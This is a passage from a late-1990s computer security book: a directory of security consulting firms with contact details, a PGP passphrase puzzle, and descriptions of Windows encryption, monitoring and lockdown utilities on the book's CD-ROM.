713-978-6246 \nE-mail: portusinfo@lsli.com \nURL: http://www.lsli.com \nLurhq Corporation \n" }, { "page_number": 640, "text": " \n \nLurhq is a network security organization specializing in firewalls, Web-server security, \nelectronic commerce implementations, and penetration testing. We offer many security \nservices and customize these services for your unique security requirements! \nLurhq Corporation \nMyrtle Beach, SC \nContact: Kristi Sarvis, Sales Coordinator \nE-mail: info@lurhq.com \nURL: http://www.lurhq.com/ \nMaxon Services \nNetwork Security systems integrator/consultant, Windows NT, UNIX, CISCO, Check \nPoint Firewall 1, Security Dynamics Ace Server. \nMaxon Services \n8550 Marie-Victorin \nBrossard, Quebec \nCanada, J4X 1A1 \nContact: Eric Tremblay \nPhone: 514-466 2422 \nFax: 514-466 2113 \nURL: http://www.maxon.ca \nMetamor Technologies, Ltd. \nMetamor Technologies is a project-oriented consulting company helping companies \nthrough technical transitions. Firewall, commerce, and security reviews are just some of \nthe exciting services offered by our Internet technology division. Visit our Web page for \na full tour! \nMetamor Technologies, Ltd. \n1 North Franklin, Suite 1500 \nChicago, IL, 60606 \nContact: Paul Christian Nelis \nPhone: 312-251-2000 \n" }, { "page_number": 641, "text": " \n \nFax: 312-251-2999 \nE-mail: nelis@metamor.com \nURL: http://www.metamor.com \nMilkyway Networks Corporation \nMilkyway Networks is a leading provider of network security solutions for enterprise \nnetworks. Milkyway's firewall product comes with a factory hardened operating systems \nensuring one of the most secure firewalls on the market. In addition to firewalls the \ncompany provides products for secure remote access and an auditing tool to probe your \nnetwork for potential security weakness. Milkyway has a U.S. office in Santa Clara with \nits corporate offices in Ottawa, Canada. \nMilkyway Networks Corporation \n4655 Old Ironsides Drive \nSuite 490 \nSanta Clara, CA, 95054 \nContact: Jeff Sherwood, Vice-President Sales \nPhone: 408-566-0800 \nFax: 408-566-0810 \nE-mail: info@milkyway.com \nURL: www.milkyway.com \nMilvets System Technology, Inc \nSystems integration of network security products. Reseller agreements with market-\nleading firewall vendors. Specializing in UNIX- and NT-based systems. \nMilvets System Technology, Inc \n4600 Forbes Boulevard, Suite 104 \nLanham, MD 20706 \nContact: Greg Simpson \nPhone: 301-731-9130 \nFax: 301-731-4773 \nE-mail: simpson@milvets.com, Milvets@milvets.com \n" }, { "page_number": 642, "text": " \n \nMiora Systems Consulting, Inc. (MSC) \nMiora Systems Consulting helps organizations improve their computer and information \nsecurity posture and their disaster recovery readiness. We are an affiliate of the National \nComputer Security Association. Services include security assessments, penetration \ntesting, firewall verification, virus assessments, disaster-recovery planning, pbs and war-\ndialing attacks, security-policy development, and others. \nMiora Systems Consulting, Inc. (MSC) \nP.O. Box 6028 \n8055 W. Manchester Avenue Suite 450 \nPlaya del Rey, CA, 90296 \nContact: Michael Miora \nPhone: 310-306-1365 \nFax: 310-305-1493 \nE-mail: mmiora@miora.com \nURL: http://www.miora.com \nMTG Management Consultants \nIT management and security. Criminal justice systems specialists. \nMTG Management Consultants \n1111 3rd Avenue Suite 2700 \nSeattle, WA 98101 \nContact: Scott Colvin \nPhone: 206-442-5010 \nFax: 206-442-5011 \nURL: http://www.ecgmc.com \nMyxa Corporation \nMyxa is a technology-services company that deals with UNIX, client/server, and \nnetworking (intra and Internet), including firewalls and security. We've helped companies \ndesign, implement, and manage their systems and networks since 1976. \nMyxa Corporation \n" }, { "page_number": 643, "text": " \n \n654 Red Lion Road, Suite 200 \nHuntingdon Valley, PA 19006 \nContact: Timothy M. Brown \nPhone: 215-947-9900 \nFax: 215-935-0235 \nE-mail: sales@myxa.com \nURL: http://www.myxa.com \nNetPartners Internet Solutions, Inc. \nNetPartners' mission is to bring sophisticated Internet technology to the mass business \nmarket. Products include Firewall-1, Raptor, BorderWare, Sidewinder, Gauntlet, ISS, \nCompaq, Cisco, Interscan, SUN. NetPartners is also the manufacturer of WebSENSE--an \nadvanced Internet content screening system that allows businesses and educational \ninstitutions to monitor and/or eliminate network traffic to Internet sites deemed \ninappropriate or otherwise undesirable for business use. \nNetPartners Internet Solutions, Inc. \n9210 Sky Park Court First Floor \nSan Diego , CA 92123 \nContact: Jeff True \nPhone: 619-505-3044 \nFax: 619-495-1950 \nE-mail: jtrue@netpart.com \nURL: http://www.netpart.com \nNetwork Evolutions, Incorporated \nNEI is an international technology consulting firm that provides enterprise-wide network \ndesign services, network security audits, and intranet/Internet firewall implementation \nservices. \nNetwork Evolutions, Incorporated \n1850 Centennial Park Drive, Suite 625 \nReston, Virginia 20191 \nContact: David Kim, President \n" }, { "page_number": 644, "text": " \n \nPhone: 703-476-5100 \nFax: 703-476-5103 \nE-mail: kim@netevolve.com \nURL: http://www.netevolve.com \nNew Edge Technologies \nI am a computer network security consultant with 17 years of hard-core diverse \nexperience in telephony, electronic communications systems, licensing systems, network \nsecurity, encryption techniques, and analysis. \nNew Edge Technologies \nUnited States \nContact: Donald R. Martin \nE-mail: grey@earth.usa.net \nURL: http://www.usa.net/~grey/ \nNewline \nNetwork security and performance analysis, penetration testing, monthly security reviews \nand briefings. \nNewline \n969 La Felice Lane \nFallbrook, CA 92028 \nContact: Steve Edwards \nPhone: 619-723-2727 \nFax: 619-731-3000 \nE-mail: sedwards@newline.com \nNH&A \nAnti-virus, security, and network management. \nNH&A \n577 Isham Street, Suite 2-B \nNew York City, NY 10034 \n" }, { "page_number": 645, "text": " \n \nContact: Norman Hirsch \nPhone: 212-304-9660 \nFax: 212-304-9759 \nE-mail: nhirsch@nha.com \nURL: http://www.nha.com \nNorthWestNet, Inc. \nManaged firewall services (UNIX and NT), vulnerability assessment services, security \nincident response team (SIRT) services, virtual private networking (VPN) services, \nsecurity awareness training. \nNorthWestNet, Inc. \n15400 SE 30th Place, Suite 202 \nBellevue, WA 98007 \nContact: Security Engineering Manager \nPhone: +1 (425)-649-7400 \nFax: +1 (425)-649-7451 \nE-mail: info@nwnet.net \nURL: http://www.nwnet.net/ \nOmnes \nFireWall-1, penetration testing, security audits, tiger teams, encryption, and virtual \nprivate networks, Firewall-1 CCSE training. \nOmnes \n5599 San Felipe, Suite 400 \nHouston, TX 77056 \n555 Industrial Boulevard, \nSugarland, TX 77478, \nContact: Nassim Chaabouni, Network Security Consultant \nPhone: 281-285 8151 \nFax: 281-285 8161 \n" }, { "page_number": 646, "text": " \n \nE-mail: Chaabouni@houston.omnes.net \nURL : http://www.omnes.net \nOnsight, Inc. \nConsulting/training firm in Chicago/midwest with heavy background in host and network \nsecurity, firewalls, and encryption. \nOnsight, Inc. \n2512 Hartzell \nEvanston, IL 60201 \nContact: Brian Hatch \nPhone: 847-869-9133 \nFax: 847-869-9134 \nE-mail: bri@avue.com \nURL: http://www.avue.com/ \nPlum Lake Alchemy \nUNIX, WWW, and security consulting. Raptor Eagle Firewall specialists. \nPlum Lake Alchemy \n1000 Kiely Boulevard #66 \nSanta Clara, CA 95051 \nContact: Matthew Wallace \nPhone: 408-985-2722 \nE-mail: matt@ender.com \nURL: http://www.ender.com \nR.C. Consulting, Inc. \nProvides enterprise-level security consulting for Windows NT environments, particularly \nwhere those environments are intended to interact with the Internet. Executive briefings \non existing or future security products/strategies tailored to your specific requirements in \nperson, or via e-mail/phone/vidphone. Host and moderator of the NTBugTraq mailing \nlist, dedicated to examining security exploits and bugs in Windows NT. \nR.C. Consulting, Inc. \n" }, { "page_number": 647, "text": " \n \nKenrei Court, R.R. #1 \nLindsay, Ontario, K9V 4R1 \nCanada \nContact: Russ Cooper \nPhone: 705-878-3405 \nFax: 705-878-1804 \nE-mail: Russ.Cooper@rc.on.ca \nURL: http://NTBugTraq.rc.on.ca/index.html \nRampart Consulting \nIndependent consulting in Internet security policy and security assessment. Firewall \ninstallation, UNIX system and network management, DNS administration, SMTP \nconsulting and general system training. \nRampart Consulting \n1-285 Rangely Drive \nColorado Springs, CO 80921 \nContact: Dan Lowry \nPhone: 719-481-9394 \nE-mail: danlow@earthlink.net \nURL: www.earthlink.net/~danlow \nRealogic, Inc. \nUNIX/NT firewalls, security audits, penetration testing, MS certified, provides service to \nmid to large Fortune corporations throughout the western states. TIS, AltaVista, Firewall-\nI, and BorderWare. MS-Proxy, MS-IIS, MS-Commerce Server specialist. Offices \nthroughout U.S. and Europe. \nRealogic, Inc. \n801 Montgomery Street, Suite 200 \nSan Francisco, CA 94133 \nContact: Kelly Gibbs \nPhone: 415-956-1300 \n" }, { "page_number": 648, "text": " \n \nFax: 415-956-1301 \nE-mail: k.gibbs@realogic.com \nURL: http://www.realogic.com/ \nRitter Software Engineering \nAdvanced patented and patent-pending ciphering technologies with very significant \nadvantages in particular applications. Also providing custom cipher designs, \nimplementations, and consulting. \nRitter Software Engineering \n2609 Choctaw Trail \nAustin, Texas 78745 \nContact: Terry Ritter, P.E. \nPhone/Fax: 512-892-0494 \nE-mail: ritter@io.com \nURL: http://www.io.com/~ritter/ \nSaffire Systems \nSaffire Systems specializes in secure software development, consulting, and systems \nintegration. Saffire Systems provides engineering services (architecture, design, \nimplementation, and testing), evaluation support services, secure network evaluations, \nand Windows NT security training. \nSaffire Systems \nP.O. Box 11154 \nChampaign, IL 61826-1154 \nContact: Michelle A. Ruppel \nPhone: 217-359-7763 \nFax: 217-356-7050 \nE-mail: maruppel@prairienet.org \nSecTek, Inc. \nSecTek provides services in following areas: INFOSEC, COMPSEC, physical security, \naccess control, risk assessments, penetration tests, firewall design/implementation, \nintrusion detection, intranets. \n" }, { "page_number": 649, "text": " \n \nSecTek, Inc. \n208 Elden Street, Suite 201 \nHerndon, VA 22070 \nContact: Bruce Moore \nPhone: 703-834-0507 \nFax: 703-834-0214 \nE-mail: wmoore@sectek.com \nURL: http://www.sectek.com \nSecure Networks Inc. \nSNI is a security research house whose primary focus is the development of security \nauditing tools. SNI's premier product is Ballista, an advanced network auditing tool. SNI \nalso provides security audits to both commercial and government clients. \nSecure Networks Inc. \n40 703 6th Avenue S.W. \nCalgary, Alberta, t2p-0t9 \nContact: Alfred Huger \nPhone: 403-262-9211 \nFax: 403-262-9221 \nE-mail: ahuger@secnet.com \nURL: http://www.securenetworks.com/ or http://www.secnet.com/ \nSecureNet Engineering, Inc. \nProviding information technology and security consulting services to government, \nfinancial, and technological industries. \nSecureNet Engineering, Inc. \nP.O. Box 520 \nFolsom, CA, 95763-0520 \nContact: Thomas H. McCreary \nPhone: 916-987-1800, 800-240-9863 \n" }, { "page_number": 650, "text": " \n \nE-mail: mccreary@pacbell.net \nSecurity First Technologies, Inc. \nDevelopers of secure networks for government and industry for over 10 years, B1 \nsecurity, CMW, trusted operating systems, UNIX, Windows NT, secure network design \nand implementation, security auditing, penetration studies, authentication and encryption \nsoftware products (VirtualVault, HannaH, Troy). Mr. Kalwerisky is the author of \n\"Windows NT: Guidelines for Audit, Security, and Control,\" Microsoft Press, 1994. \nSecurity First Technologies, Inc. \n3390 Peachtree Road, Suite 1600 \nAtlanta, Georgia, 30326 \nContact: Jeff Kalwerisky, VP Consulting Services \nPhone: 404-812-6665 \nFax: 404-812-6616 \nE-mail: jeffk@s-1.com \nURL: http://www.s-1.com \nSequent Computer Systems BV \nUNIX, firewalls, networking, Internet, intranet, auditing, tiger teams, security, \ncryptology, security policy. \nSequent Computer Systems BV \nRijnzathe 7 \nDe Meern, Utrecht, 3454PV \nThe Netherlands \nContact: Hans Van de Looy \nPhone: +31 30 6666 070 \nFax: +31 30 6666 054 \nE-mail: hvdl@sequent.com \nURL: http://www.IAEhv.nl/users/hvdl \nSmallWorks, Inc. \n" }, { "page_number": 651, "text": " \n \nSmallWorks is a software-development and consulting group specializing in standards-\nbased Internet security packages, including but not limited to firewalls, IPSEC \nimplementations, and high-security Internet connectivity solutions. A partial list of our \nclients includes Tivoli Systems, Sterling Commerce, Cisco Systems (SmallWorks \ndeveloped the TACACS+, CiscoSecure UNIX Server for Cisco Systems). \nSmallWorks, Inc. \n4501 Spicewood Springs Road Suite #1001 \nAustin, TX 78759 \nContact: Steve Bagwell, Director of Sales \nPhone: 512-338-0619 \nFax: 512-338-0625 \nE-mail: steve@smallworks.com \nURL: http://www.smallworks.com \nSoundcode, Inc. \nSoundcode, Inc. provides the latest in data security and electronic (digital) signature \nsoftware for the Internet, intranets, and personal computers. With Point 'n Crypt \nProfessional for one-click file lock-up, sending, and storage, Point 'n Sign for the one-\nclick signing of electronic documents, and scCryptoEngine, a powerful programming \nengine for both encryption and digital signatures, Soundcode makes computer privacy \neasy. \nSoundcode, Inc. \n11613 124th Avenue NE, Suite G-317 \nKirkland, WA 98034-8100 \nContact: Pete Adlerberg \nVoice: 206-828-9155 \nFax: 206-329-4351 \nToll-Free: 888-45-SOUND \nE-mail: pete@soundcode.com \nURL: http://www.soundcode.com \nStrategic Data Command Inc. \nFirewalls, risk analysis, security management, and design. \n" }, { "page_number": 652, "text": " \n \nStrategic Data Command Inc. \n2505 Parker St. \nBerkeley, CA 94704 USA \nContact: Lawrence Suto \nPhone: 510-502-9224 \nTechnical Reflections \nSecurity design and implementation on systems such as UNIX and Windows NT/95. \nSecuring Web servers for electronic transactions. We also participate in tiger and attach \nteams to help secure sites via firewalls and other security policies. \nTechnical Reflections \n6625 Fox Road \nMarcy, NY 13403 \nContact: Joe Riolo \nPhone: 315-865-5639 \nFax: 315-336-6514 \nTechnologic, Inc. \nManufacturers of the Interceptor&tm; firewall, Internet security consulting, virtual \nprivate networking, security audits, and penetration testing. \"Can your network keep a \nsecret?\"TM \nTechnologic, Inc. \n1000 Abernathy Road, Suite 1075 \nAtlanta, GA 30328 \nContact: Eric Bleke \nPhone: 770-522-0222 \nFax: 770-522-0201 \nE-mail: info@tlogic.com \nURL: http://www.tlogic.com \nTriumph Technologies, Inc. \n" }, { "page_number": 653, "text": " \n \nTriumph Technologies' Internet Security Division is focused on providing enterprise-\nwide security solutions. We utilize only the best security products and technologies. We \noffer services which include: turn-key firewall solutions (UNIX/NT), enterprise security \nassessments, IP addressing re/designing, and integration of specialized products such as \nSMTP mail content management. \nTriumph Technologies, Inc. \n3 New England Executive Park \nBurlington, MA 01803 \nContact: Mitchell Hryckowian \nPhone: 617-273-0073 \nFax: 617-272-4855 \nE-mail: info@security.triumph.com \nURL: http://www.triumph.com \nTucker Network Technologies, Inc. \nNetwork and telecommunications consulting and integration firm specializing in \nLAN/WAN, network management, Internet policy, infrastructures, firewalls, security, \nand access. \nTucker Network Technologies, Inc. \nP.O. Box 429 \n50 Washington Street \nSouth Norwalk, CT 06856-0429 \nContact: Tucker McDonagh, Managing Director \nPhone: 203-857-0080 \nFax: 203-857-0082 \nE-mail: tucker@tuckernet.com \nVisionary Corporate Computing Concepts \nUNIX, firewall solutions, research and penetration testing, risk assessments, intrusion \ndetection, remote system monitoring, emergency problem handling, consulting, and \noutsourcing. \nVisionary Corporate Computing Concepts \n" }, { "page_number": 654, "text": " \n \n712 Richland Street Suite F \nColumbia, SC, 29201 USA \nContact: Matthew Caldwell \nPhone: 803-733-7333 \nFax: 803-733-5888 \nE-mail: matt.caldwell@vc3.com \nURL: http://www.vc3.com \nWang I-Net Government Services \nWang I-Net offers the XTS-300&tm; NSA-evaluated B3 Trusted Computer System, the \nSecure Automated Guard Environment (SAGE&tm;), and trusted application \ndevelopment services. Wang I-Net Secure Systems customers include the NSA, DoD, \nArmy, Air Force, Navy, State Department, FBI, DOE, IRS, NATO, governments of UK, \nCanada, and Norway, and several contractors. \nWang I-Net Government Services \n7900 Westpark Drive MS 700 \nMcLean, VA 22102-4299 \nContact: K.M. Goertzel \nPhone: 703-827-3914 \nFax: 703-827-3161 \nE-mail: goertzek@wangfed.com \nURL: http://www.wangfed.com \n \nNOTE: Wang Federal is one of the leading providers of TEMPEST protection \ntechnology. Wang Federal's TEMPEST products prevent eavesdropping of electronic \nemissions that leak from your monitor (or computer). \n \nZot Consulting \nI have over 17 years of experience on the Internet. I do pure Internet consulting for \nfirewalls, Web and information servers, database connectivity, and company security for \nsmall and Fortune 100 companies. \nZot Consulting \n808 SE Umatilla Street \n" }, { "page_number": 655, "text": " \n \nPortland, OR 97202 \nContact: Zot O'Connor \nPhone: 503-231-3893 \nFax: 503-236-5177 \nE-mail: zot@crl.com \nURL: http://www.crl.com/~zot \n" }, { "page_number": 656, "text": " \n \nC \nA Hidden Message About the Internet \nOn the CD-ROM accompanying this book, you'll find a directory called message. Within \nit are two files: message.pgp and keys.asc. message.pgp is a small file, encrypted in \n1024-bit PGP, that contains a hidden message. keys.asc is an ASCII file containing the \nPGP key generated for the hidden message. Your mission is to crack this hidden message \nby determining the passphrase used to encrypt it. This is not as difficult as it seems; it \nrequires ingenuity rather than any particular cracking tool. \nFollowing is a single line of clear text; your job is to determine the significance of that \ntext. Having done so, you can crack the encrypted text. The public key used was \nroot@netherworld.net. The passphrase is composed of the significant strings you \nderive from the clear text. (These are not difficult to decode; their meanings are actually \nquite obvious if you apply yourself.) The clear text fields are separated by semicolons. \nThat means the passphrase is a series of text strings. Examples of such text strings might \nbe any of the following: \n• \nA line from a Shakespearean play \n• \nA time, place, or person \n• \nA name \nEach string will be in perfectly understandable English. Piece them together in order, and \nyou will have the passphrase. This will serve as the private key necessary to decrypt the \nmessage. \nHere is a powerful hint, and the only one I will give: The field separator (semicolon) \nrepresents one space, one dash, and one space. Thus, fields separated by semicolons in \nthe following clear text represent phrases separated by a space, a dash, and a space. So if \nthe hidden message was apples oranges pears, it would be written this way: \napples - oranges - pears \nThe message contained within that file is very serious. It relates a critical point about the \nInternet--one that even many security experts might have missed. That point will \nundoubtedly be a matter of some debate. \nGood luck. \nClear text: \n4X755(4X230.4);abydos;072899;9:11;13:17 \n" }, { "page_number": 657, "text": " \n \nD \nWhat's on the CD-ROM \nOn the Maximum Security CD-ROM, you will find some of the sample files that have \nbeen presented in this book along with a wealth of other applications and utilities. \n \nNOTE: Refer to the readme file on the CD-ROM for the latest listing of software. Also, \nin the readme file, you will find instructions on how to install one or more HTML \npresentations. In particular, there is an HTML presentation that will link you to most Web \nsites mentioned throughout this book. \n \nWindows Software \nThe following network utilities for Windows are on the CD-ROM. This listing provides \ncontact information for each company and a description of its product. \nDataGuard 1.3 Demo Release \nDataGuard allows secure and rapid enciphering of files and directories. Data encrypted in \nthis way can be sent using standard e-mail programs via public networks (such as the \nInternet); secure data transmission is guaranteed. The use of efficient, optimized \nalgorithms reduces high performance losses in the system due to the encryption and \ndecryption process without endangering security. Requires Windows 95 or NT 4.0. \nSecure Link Services AG \nRuchstuckstrasse 6, 8306 Brüttisellen, Switzerland \nVoice: +41 1 805 53 53 \nFax: +41 1 805 53 10 \nE-mail: info@sls.net \nURL: http://www.sls.net/, http://www.sls.ns.ca/dataguard/dataguard.html \nFile Lock Series \nFile Lock 95 Lite uses the Standard or Enhanced encryption method to protect any \ninformation that is for your eyes only, such as a personal diary or finance information. \nFile Lock 95 Standard includes two additional encryption methods: the RUBY and the \nDiamond. This is ideal for business-related information protection. \nFile Lock Wizard for Windows 95 is the easiest of the File Lock series. It comes \ncomplete with three encryption algorithms with four compression algorithms. It is the \nbest in data protection for the home PC user. \n" }, { "page_number": 658, "text": " \n \nThese products require Windows 95 or NT and are fully functional trial versions with a \nlimited number of days. \nD & L Computing \nP.O. Box 6141 \nHuntsville, AL, 35824 \nVoice: 205-772-3765 \nFax: 205-772-8119 \nE-mail: DLComputing@Juno.com, DLCSales@Juno.Com \nURL: http://www.dlcomputing.com/ \nSAFEsuite \nSAFEsuiteTM is a family of network security assessment tools designed to audit, monitor, \nand correct all aspects of network security. Internet Scanner is the fastest, most \ncomprehensive, proactive UNIX and Windows NT security scanner available. It \nconfigures easily, scans quickly, and produces comprehensive reports. Internet Scanner \nprobes a network environment for selected security vulnerabilities, simulating the \ntechniques of a determined intruder. Depending on the reporting options selected, \nInternet Scanner provides information about each vulnerability found: location, in-depth \ndescription, and suggested corrective actions. (Requires Windows NT.) \nInternet Security Systems, Inc. (ISS) \n41 Perimeter Center East, Suite 660 \nAtlanta, GA, 30071 \nVoice: 770-395-0150 \nFax: 770-395-1972 \nE-mail: info@iss.net \nURL: http://www.iss.net \nEtherBoy (Of the NetMan Suite) \nEtherBoy gives you affordable real-time multiprotocol network monitoring on your IBM- \ncompatible PC. It provides insights and answers to a large number of network \nmanagement and usage questions. Because EtherBoy is totally passive, no additional load \nis placed on your network resources. It is an ideal addition to your desktop-based \nmanagement station, or as a laptop-based portable network probe. A unique tool that \ncombines many security techniques into a single package, EtherBoy can: \n" }, { "page_number": 659, "text": " \n \n• \nView all traffic on your LAN. \n• \nIdentify all devices on your LAN, including potential security threats. \n• \nFully configure protocol focusing and visualization. \n• \nDefine custom protocols. \n• \nZoom in on areas of interest. \n• \nProduce reports in text, HTML, data, or rich text format. \n• \nDisplay real-time traffic statistics. \n• \nMonitor individual hosts and links. \n• \nCustomize alarm triggers. \n• \nObtain full protocol summaries for each link. \nEtherBoy will work on both the Microsoft Windows and Microsoft Windows 95 \nplatforms. \nNDG Software \nP.O. Box 1424 \nBooragoon, WA, 6154, Australia \nVoice: +61 9 388 8814 \nFax: +61 9 388 8813 \nE-mail: lou@ndg.com.au \nURL: http://www.ndg.com.au \nWebBoy \nWebBoy is a complete Internet/intranet monitoring package. It provides statistics on \nstandard Web traffic, including URLs accessed, cache hit ratios, Internet protocols, and \nuser-defined protocols. To aid the security-conscious administrator, WebBoy provides a \nconfigurable alarm mechanism to enable monitoring and notification of unusual network \nactivity. In particular, WebBoy is invaluable in summarizing top hosts, URLs, proxies, \nWeb clients, servers, and alarms. WebBoy will work on both the Microsoft Windows and \nMicrosoft Windows 95 platforms. \nNDG Software \n" }, { "page_number": 660, "text": " \n \nP.O. Box 1424 \nBooragoon, WA, 6154, Australia \nVoice: +61 9 388 8814 \nFax: +61 9 388 8813 \nE-mail: lou@ndg.com.au \nURL: http://www.ndg.com.au \nPacketBoy \nPacketBoy is a packet analyzer/decoder package capable of decoding many of the \ncommonly used LAN protocols. Protocols that can be decoded include TCP/IP, IPX \n(Novell NetWare), AppleTalk, Banyan, and DECNET protocol suites. Multiple captures \ncan be loaded and saved to disk. To aid the security-conscious administrator, PacketBoy \nprovides a configurable capture trigger to automatically start packet capture when \nunusual or undesirable network activity occurs. It is an ideal addition to your desktop-\nbased management station, or as a laptop-based portable network probe. Supports DOS \nand Windows 95. \nNDG Software \nP.O. Box 1424 \nBooragoon, WA, 6154, Australia \nVoice: +61 9 388 8814 \nFax: +61 9 388 8813 \nE-mail: lou@ndg.com.au \nURL: http://www.ndg.com.au \nPoint 'n Crypt World 1.5 \nPoint 'n Crypt World 1.5 is a Windows extension that allows users to quickly and easily \nencrypt any desktop file. It is the easiest disk/file encryption system on the market. Based \non 40-bit DES-CBC mode encryption (exportable outside North America), Point 'n Crypt \nWorld puts a secure envelope around any document you want to keep private. Whether it \nresides on a desktop, within a file system, or needs to travel across public information \nhighways (such as the Internet), your information will be protected. Offering easy-to-use \nprivacy, Point 'n Crypt World is distributed to a varied group of users from novices to \nexperts. Point 'n Crypt requires little or no tutoring. Installing and using Point 'n Crypt \nWorld is elegantly simple. The installation is brief, straightforward, and virtually \nfoolproof. Extensive online help is included to get you over any rough spots or to learn \nabout Point 'n Crypt World's cryptographic internals. Simply right-click any desktop file, \n" }, { "page_number": 661, "text": " \n \nselect Encrypt, provide a passphrase, and it's done. Point 'n Crypt World is available for \n$29.95 from the Soundcode Web site at www.soundcode.com. For stronger encryption, \ncheck out Point 'n Crypt Professional (list price $59.95), which supports 448-bit Blowfish \nand 168-bit Triple DES. \nSoundcode, Inc. \n11613 124th Avenue NE, Suite G-317 \nKirkland, WA, 98034-8100 \nVoice: 206-828-9155 \nFax: 206-329-4351 \nToll-Free: 1-888-45-SOUND (76863) \nE-mail: pete@soundcode.com \nURL: http://www.soundcode.com \nGeoBoy \nGeoBoy is a geographical tracing tool capable of tracing and displaying routes taken by \ntraffic traversing the Internet. GeoBoy allows you to locate Internet delays and traffic \ncongestion. GeoBoy resolves geographical locations from a series of cache files that can \nbe updated and customized by the user. Supports Windows 95. \nNDG Software \nP.O. Box 1424 \nBooragoon, WA, 6154, Australia \nVoice: +61 9 388 8814 \nFax: +61 9 388 8813 \nE-mail: lou@ndg.com.au \nURL: http://www.ndg.com.au \nNetScanTools 32 Bit v2.42 \nNetScanTools 32 Bit v2.42, designed by Northwest Performance Software, combines a \nnumber of UNIX network analysis utilities in a single package that runs under Microsoft \nWindows 95 and Microsoft Windows NT. Northwest Performance Software \nPO Box 148 \nMaple Valley, WA, 98038-0148 \n" }, { "page_number": 662, "text": " \n \nVoice: 253-630-7206 \nFax: 253-639-9865, 425-413-0745 \nE-mail: sales@nwpsw.com \nURL: http://www.nwpsw.com/, http://www.eskimo.com/~nwps/index.html \nWinU 3.2 \nWinU is a tamper-proof replacement user interface for Windows 95 with access control, \ntime-limit, and security features. It's easy to set up, easy to use, and virtually impossible \nto circumvent. This makes WinU excellent for parents who want to allow children to use \nonly certain software on the family PC. Any program or desktop can be password-\nprotected or time- limited. You can set up different WinU desktops, with different \nprograms and customizations, for each member of the family. Businesses can use WinU \nto allow employees to run only authorized software, making other programs unavailable. \nWinU is also ideal for public-access computers. You can let patrons use your computers \nwithout worrying that they might change the computer's setup or delete important files. \nBardon Data Systems \n1164 Solano Avenue #415 \nAlbany, CA, 94706 \nVoice: 510-526-8470 \nFax: 510-526-1271 \nE-mail: bsmiler@bardon.com \nURL: http://www.bardon.com \nPrivaSuite \nPrivaSuite encrypts any text, fax, or file in any language and any format. It can encrypt \nindividual cells in a spreadsheet or encrypt the entire spreadsheet. PrivaSuite makes \ncompartmentalization of information simple and fast. You can encrypt individual clauses \nin a contract, encrypt the whole contract, or do both--multilayer encryption is effortless \nwith PrivaSuite. You can encrypt files saved on your hard drive or on the network for \n\"eyes only\" access and encrypt hard-copy documents so that only you and the intended \nrecipient can read them. In short, if the information is on your computer, PrivaSuite can \nencrypt it with just 2-3 keystrokes, and with virtually no interruption to your workflow. \nThe program works in Microsoft Windows 3.x and 95 and employs a 56-bit DES engine \n(wherever allowed) or 40-bit international engine. \nAliroo Ltd. \n30100 Town Center Drive, Suite 0344 \n" }, { "page_number": 663, "text": " \n \nLaguna Niguel, CA, 92677 \nVoice: 714-488-0253 \nFax: 714-240-2861 \nE-mail: steve@aliroo.com \nURL: http://www.aliroo.com \nHideThat 2.0 \nHideThat is a fully customizable secure screen saver, utilizing your logos, pictures, and \nmessages. Several security features are included, along with an extensive help file on PC \nsecurity. HideThat works on the Microsoft Windows 95 platform. \nCobWeb Applications \nCherry Tree Cottage \nLeatherhead Road \nSurrey, UK KT23 4SS \nVoice: +44 1372 459040 \nFax: +44 1372 459040 \nE-mail: mikec@cobweb.co.uk \nURL: http://www.cobweb.co.uk \nWebSENSE \nWebSENSE is an advanced Internet content screening system that allows organizations \nto monitor and eliminate network traffic to Internet sites deemed inappropriate or \notherwise undesirable in their networked environment. WebSENSE is implemented as a \nWindows NT service running on a single Windows NT computer, eliminating the need \nfor software to be loaded on individual user workstations. Additionally, WebSENSE \nsupports a wide range of TCP protocols, including HTTP, Gopher, FTP, Telnet, IRC, \nNNTP, and RealAudio. The recommended minimum requirements are Intel 486, 16MB \nRAM, and Windows NT 3.51 (or greater). \nNetPartners Internet Solutions, Inc. \n9210 Sky Park Court, 1st Floor \nSan Diego, CA, 92123 \nVoice: 619-505-3044 \nFax: 619-495-1950 \n" }, { "page_number": 664, "text": " \n \nE-mail: jtrue@netpart.com \nURL: http://www.netpart.com \nCetus StormWindows \nCetus StormWindows&tm; for Windows 95 allows authorized users to add several types \nand degrees of protections to the desktop and system of a Windows 95 computer. \nIntelligent use of StormWindows security measures will allow secure use of any shared \nWindows 95 PC (a version for Windows NT 4 is under development). Examples of \ndesktop protections include \n• \nHiding all desktop icons \n• \nHiding Start menu programs groups and links \n• \nPreventing the saving of desktop changes \n• \nHiding all drives in My Computer \n• \nHiding the Start menu settings folders (Control Panel and printers) and taskbar \n• \nHiding Network Neighborhood \nSome of the system protections include \n• \nDisabling the MS-DOS prompt and the exiting to MS-DOS mode \n• \nPreventing warm booting (Ctrl+Alt+Del) \n• \nBlocking the running of Registration Editor and System Policy Editor \n• \nPreventing the merging of REG files into the Registry \n• \nPreventing the addition or deletion of printers \n• \nKeeping the Documents menu empty \n• \nHiding sensitive Control Panel pages and settings \nStormWindows security schemes can be imported from and exported to other computers \nby disk. StormWindows changes do not require the use of policies. StormWindows \nprotections would probably be most useful to someone in charge of a number of \ncomputers at a school or business, a network manager, or a parent. Access to \nStormWindows is password protected. \nCetus Software Inc. \nP.O. Box 700 \nCarver, MA, 02330 \nE-mail: support@cetussoft.com \n" }, { "page_number": 665, "text": " \n \nURL: http://www.cetussoft.com/ \nPGP for GroupWise \nPGP for GroupWise provides seamless integration between GroupWise versions 4.1 and \n5.x and either the DOS or Windows versions of PGP. With the software, you can create \npublic encryption keys, mail your keys to others, encrypt, digitally sign, decrypt, and \nverify digital signatures in order to maintain privacy in your Internet or intranet \ncommunications. Attached documents can by encrypted as well. \nRisch Consulting \nE-mail: mvrisch@midway.uchicago.edu \nURL: http://student-www.uchicago.edu/users/mvrisch/mi01000.htm \nWindows Task-Lock \nWindows Task-Lock, version 4.1 (sgllock.zip) provides a simple, inexpensive, but \neffective way to password-protect specified applications for Windows 95 no matter how \nthey are executed. It is easy to configure and requires little or no modifications to your \ncurrent system configuration. Optional sound events, stealth mode, and password time-\nout are included. The administrator password is enabled for site licenses. Online help is \nprovided. (Windows 95 required.) \nPosum L.L.C. \nP.O. Box 21015 \nHuntsville, AL, 35824 \nFax: 205-895-8361 \nE-mail: 103672.2634@compuserve.com \nURL: http://posum.com/ \nWindows Enforcer \nWindows Enforcer, version 4.0 (enforcer.zip) protects systems that are accessible to \nmany people and require a consistent configuration and a consistent limited selection of \nservices such as public displays or computer labs. It is also great for child-proofing \nindividual systems. This is accomplished by ensuring that user-specified tasks either 